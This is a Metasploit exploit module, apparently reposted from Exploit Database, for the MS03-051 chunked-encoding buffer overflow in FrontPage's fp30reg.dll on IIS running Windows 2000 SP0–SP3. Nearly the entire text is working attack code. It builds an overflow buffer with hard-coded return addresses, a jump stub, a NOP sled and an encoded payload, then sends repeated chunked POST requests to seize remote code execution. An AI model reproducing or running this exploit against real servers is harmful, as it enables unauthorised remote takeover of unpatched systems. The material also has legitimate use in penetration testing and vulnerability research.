Microsoft IIS – ISAPI FrontPage ‘fp30reg.dll’ Chunked Overflow (MS03-051) (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2010-07-25
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16356/

• ##
  # $Id: ms03_051_fp30reg_chunked.rb 9929 2010-07-25 21:37:54Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
  			'Description'=> %q{
  					This is an exploit for the chunked encoding buffer overflow
  				described in MS03-051 and originally reported by Brett
  				Moore. This particular modules works against versions of
  				Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
  				issue.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9929 $',
  			'References' =>
  				[
  					[ 'CVE', '2003-0822'],
  					[ 'OSVDB', '2952'],
  					[ 'BID', '9007'],
  					[ 'MSB', 'MS03-051'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
  					'StackAdjustment' => -3500,
  
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Windows 2000 SP0-SP3',{ 'Ret' => 0x6c38a4d0}], # from mfc42.dll
  					['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1}], # from fp30reg.dll 07/22/2002
  					['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d}], # from fp30reg.dll 10/06/1999
  				],
  			'DisclosureDate' => 'Nov 11 2003',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('URL', [ true,"The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
  			], self.class)
  	end
  
  	def exploit
  
  		print_status("Creating overflow request for fp30reg.dll...")
  
  		pat = rand_text_alphanumeric(0xdead)
  		pat[128, 4] = [target.ret].pack('V')
  		pat[264, 4] = [target.ret].pack('V')
  
  		# sub eax,0xfffffeff; jmp eax
  		pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"
  
  		pat[280, 512] = make_nops(512)
  		pat[792, payload.encoded.length] = payload.encoded
  
  		0.upto(15) do |i|
  
  			if (i % 3 == 0)
  				print_status("Refreshing the remote dllhost.exe process...")
  
  				res = send_request_raw({
  					'uri' => datastore['URL']
  				}, -1)
  
  				if (res and res.body =~ /specified module could not be found/)
  					print_status("The server states that #{datastore['URL']} does not exist.\n")
  					return
  				end
  			end
  
  			print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")
  
  			res = send_request_raw({
  				'uri' => datastore['URL'],
  				'method'=> 'POST',
  				'headers' =>
  				{
  					'Transfer-Encoding' => 'Chunked'
  				},
  				'data'=> "DEAD\r\n#{pat}\r\n0\r\n"
  			}, 5)
  
  			if (res and res.body =~ /specified module could not be found/)
  				print_status("The server states that #{datastore['URL']} does not exist.\n")
  				return
  			end
  
  			handler
  
  			select(nil,nil,nil,1)
  		end
  	end
  
  	def check
  		print_status("Requesting the vulnerable ISAPI path...")
  		r = send_request_raw({
  			'uri' => datastore['URL']
  		}, -1)
  
  		if (r and r.code == 501)
  			return Exploit::CheckCode::Detected
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  end